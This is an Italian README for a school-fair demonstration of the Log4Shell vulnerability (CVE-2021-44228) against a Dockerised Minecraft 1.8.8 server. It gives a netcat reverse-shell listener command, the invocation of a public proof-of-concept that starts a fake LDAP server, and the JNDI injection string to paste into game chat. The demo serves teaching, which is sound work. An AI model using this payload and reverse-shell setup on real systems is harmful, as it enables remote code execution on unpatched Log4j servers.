
Log4Shell (CVE-2021-44228) demo di Minecraft. Usato per fiere educative.
Questa demo viene utilizzata nelle fiere educative per dare ai potenziali futuri studenti un'idea del dipartimento di cybersecurity dell'HTL Villach e su come le applicazioni di uso quotidiano possono essere sfruttate
Nota: Questa intera demo utilizza Minecraft 1.8.8
L'attaccante in questo scenario utilizza il PoC di kozmer. https://github.com/kozmer/log4j-shell-poc Tutto il merito va a loro. Nota: Tutti i comandi devono essere eseguiti in attacker/
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20, e trovarsi nella stessa directory.$ python3 poc.py --userip <ip di docker-host> --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<ip di docker-host>:1389/a}
Listening on 0.0.0.0:1389
Questo script configurerà il server HTTP e il server LDAP per te, e creerà anche il payload che puoi usare per incollare nel parametro vulnerabile. Dopodiché, se tutto è andato bene, dovresti ottenere una shell sulla porta locale di ascolto.
Nell'istanza vittima stiamo utilizzando una versione obsoleta e quindi vulnerabile di JDK (jdk1.8.0_20) .
Per avviare il nostro server Minecraft dobbiamo creare la nostra immagine Docker ed eseguirla.
Nota: Per una compilazione riuscita è necessario ottenere una propria copia del server Minecraft Vanilla 1.8.8 (non può essere condivisa a causa dell'EULA di Mojang) Una possibile fonte potrebbe essere MCVERSIONS.NET
Dopo aver ottenuto il file, salvalo in victim/ come server.jar
cd target/
docker build target/ -t minecraft-demo
Esegui il server Minecraft vulnerabile che abbiamo appena compilato usando docker
docker run --name vulnerable-server -p 25565:25565 minecraft-demo
È probabile che il tuo contenitore si blocchi o si fermi dopo lo sfruttamento. In tal caso, puoi ucciderlo usando il seguente comando:
docker kill vulnerable-server
Per sfruttare la vulnerabilità, basta inviare la stringa fornita da poc.py nella chat di gioco.
${jndi:ldap://<ip di docker-host>:1389/a}
